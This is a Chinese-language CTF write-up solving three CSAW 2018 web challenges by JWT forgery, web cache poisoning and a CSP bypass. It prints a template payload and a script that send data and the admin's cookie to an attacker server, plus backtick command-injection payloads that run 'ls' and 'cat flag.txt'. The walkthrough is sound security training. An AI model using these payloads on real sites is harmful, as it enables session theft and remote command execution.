CSAW 2018 复现writeup

_

  补补web

Web

sso

1
2
3
4
5
6
7
8
9
Don't you love undocumented APIs

Be the admin you were always meant to be

http://web.chal.csaw.io:9000

Update chal description at: 4:38 to include solve details

Aesthetic update for chal at Sun 7:25 AM

  打开源代码如下:

1
2
3
4
5
6
7
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
<a href="/protected">.</a>
<!--
Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route
--!>

  关于OAUTH2.0的授权的详细模式可以参考这篇文章六、授权码模式

  授权模式大致流程如下:

  1. 获取Authorization Code,通常访问/authorize

请求的参数:

  • response_type:表示授权类型,必选项,此处的值固定为”code”
  • client_id:表示客户端的ID,必选项
  • redirect_uri:表示重定向URI,可选项
  • scope:表示申请的权限范围,可选项
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
  1. 获取Access Token,通常访问/token

请求的参数:

  • grant_type:表示使用的授权模式,必选项,此处的值固定为”authorization_code”。
  • code:表示上一步获得的授权码,必选项。
  • redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
  • client_id:表示客户端ID,必选项。
  1. 访问限制资源,比如这里的/protected

  所以第一步,获取Authorization Code。




  然后在我们的服务器上能收到:



  拿到code:

  再去拿到token。



  得到token:

  将这个token拿到jwt.io/解密。



  这里的secret就是加密秘钥,所以我们可以将type改为admin。



  我们拿着这个token去访问/protected



  得到flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}。

#### 参考链接
  https://www.aperikube.fr/docs/csawquals_2018/sso/

  https://github.com/TryCTFAgain/CTF-Writeups/blob/master/2018/CSAW%20CTF'18/web.md#sso

### Hacker Movie Club
1
2
3
4
5
6
Hacker Movie Club
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/





  打开主页如下:



  源码:(去掉style)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<html>
<head>
<script data-src="mustache.min.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
window.loaded_mustache = true;
}
</script>

<script src="/cdn.js"></script>

<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>


  其中的/cdn.js作用是加上X-Forwarded-Host头去加载上面两个脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// cdn.js
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}


  主页面上还有一个report的功能,一般看到这个一般都会出现XSS利用,但是这道题中并没有输入交互,所以XSS的利用方式还有些不同。

  app.js如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// app.js
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});


  main.mst下载后发现是模板文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>


  初期的一个探索并没有发现什么有价值的东西,所以我们可以考虑对每个请求包进行分析。

  在/api/movies响应的body中看到了一个只能由admin查看的项:



  当我们把它通过抓包改成false时,可以发现:





  可以看到,隐藏的项就出来了,所以我们的目的就明确了,但是我们没有太多可以交互的地方,所以还需要找突破点。

  观察后发现每个响应头都有:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
...
Cache-Control: no-cache
X-Varnish: 157274709
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

  去了解了下varnish,发现它是一个反向代理中的缓存服务程序。

如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。

  varnish详细的请求头可以在这里找到。

  所以这里我们需要用到一种叫Web Cache Poisoningweb缓存污染)的利用方法,这个跟Cache Poisoning(又称DNS污染)是不一样的东西。

  参考链接:

  中文版-实战Web缓存中毒

  英文原版

  这里我们可以重点关注DOM Poisoning(DOM污染)。

  另一个需要先了解的事情是X-Forwarded-Host的作用,详情可参考:这里

X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。
反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

  语法:

1
X-Forwarded-Host: <host>

  上面这些归结起来就是当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。

  现在再回过头看看我们已有的资料。我们得知main.mst是模板文件,它会利用等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。

  我们先来找到main.mst缓存的最大时间(max-age),我们可以带着X-Forwarded-Host不停的请求/cdn/app.js,如果fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst')能被我们控制到fetch('my_server/cdn/main.mst')上就成功的完成了劫持。

  我们可以使用下面的脚本验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-

import requests

X_Forwarded_Host = '1.2.3.4'

while True:
resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
if X_Forwarded_Host in resp.text:
print resp.text
break

  结果如下:






  可以看到我们成功的通过web缓存污染劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://my_server_ip/'+'{{#movies}}{{ name }}{{/movies}}')">

  如果你直接访问会出现一个跨域资源共享(CORS)的问题,如下:




  它要求服务器回应的头信息要包含Access-Control-Allow-Origin字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)

  开启后就能在日志输出中得到flag:




  flag:flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}

参考链接:

  https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/

No Vulnerable Services

1
2
3
4
5
No Vulnerable Services is a company founded on the idea that all websites should be secure. We use the latest web security standards, and provide complementary pentests of all customer sites with our exclusive NoPwn® guarantee.

Be #unhackable.™

http://no.vulnerable.services/




  参考writeup:https://ctftime.org/writeup/11205

  进入网站可以发现使用CSP,策略如下:

1
Content-Security-Policy: default-src 'none'; script-src *.no.vulnerable.services https://www.google.com/ https://www.gstatic.com/; style-src *.no.vulnerable.services https://fonts.googleapis.com/ 'unsafe-inline'; img-src *.no.vulnerable.services; font-src *.no.vulnerable.services https://fonts.gstatic.com/; frame-src https://www.google.com/

  可以使用Google的CSP检测工具检测一下:




  发现script-src可能存在问题,但题目环境中我们并没有能够控制src的地方,所以再回头看看还有什么发现。

  页面的最底下发现了一个奇怪的域名




  访问后发现跟主域名(http://no.vulnerable.services/index.php)页面一样。我们ping一下`no.vulnerable.services`发现解析地址是:`216.165.2.40`,而他的16进制表示就是`0xd8a50228`。如果不知道怎么转换可以使用这个工具

  我们尝试改成对我们服务器的代理,如http://{hexip}.ip.no.vulnerable.services。




  可以看到代理成功,能够访问到我们的网站。

  由于CSP中存在script-src *.no.vulnerable.services,所以现在我们能绕过CSP保护了。

  另外还有一个点就是我们能提交网站内容供他们检查,他们会使用bot去模拟访问。




  所以我们在这里填写我们服务器上的恶意脚本,以拿到admin的cookie。使用脚本如下:
1
2
3
var img = document.createElement("img");
img.src = "http://{hexip}.ip.no.vulnerable.services/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);

  将此脚本放到服务器上,然后在report上提交链接:

1
<script type="text/javascript" src="//{hexip}.ip.no.vulnerable.services/your.js"></script>

  为了方便,我这里使用了一个python的简易服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler


class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
print(self.headers)
SimpleHTTPRequestHandler.do_GET(self)

if __name__ == '__main__':
test(MyHandler, HTTPServer)

  最后我们能收到cookie跟referer。




  我带着这里得到的cookie访问http://admin.no.vulnerable.services。可以得到一个页面,源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>NVS INTERNAL - Admin</title>
</head>
<body>
<p>Current Visitors: 672</p>
<p>Quick links:</p>
<ul>
<li><a href="//support.no.vulnerable.services">Support</a></li>
<li><a href="lb.php">Load Balancers - BETA</a></li>
</ul>
</body>
</html>

  其中lb.php是一个负载均衡的监视器:




  而support.no.vulnerable.services我们无法访问,如果直接访问http://216.165.2.41/会得到404 Not Found。

  从lb.php里我们能得知216.165.2.41是代理服务器,所以我们在请求216.165.2.41的时候带上Host头试试。




  有回显,但明显被拦截了,那我们再试试另一种访问方式,ping出它的ip,然后用{hexip}.ip.no.vulnerable.services的方式访问。




  成功进入,有一个ping的命令执行,所以考虑命令注入。

  payload1:

1
127.0.0.1`ls`




  payload2:
1
127.0.0.1`cat%20flag.txt`




  flag: flag{7672f158167cab32aebc161abe0fbfcaee2868c1}。
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×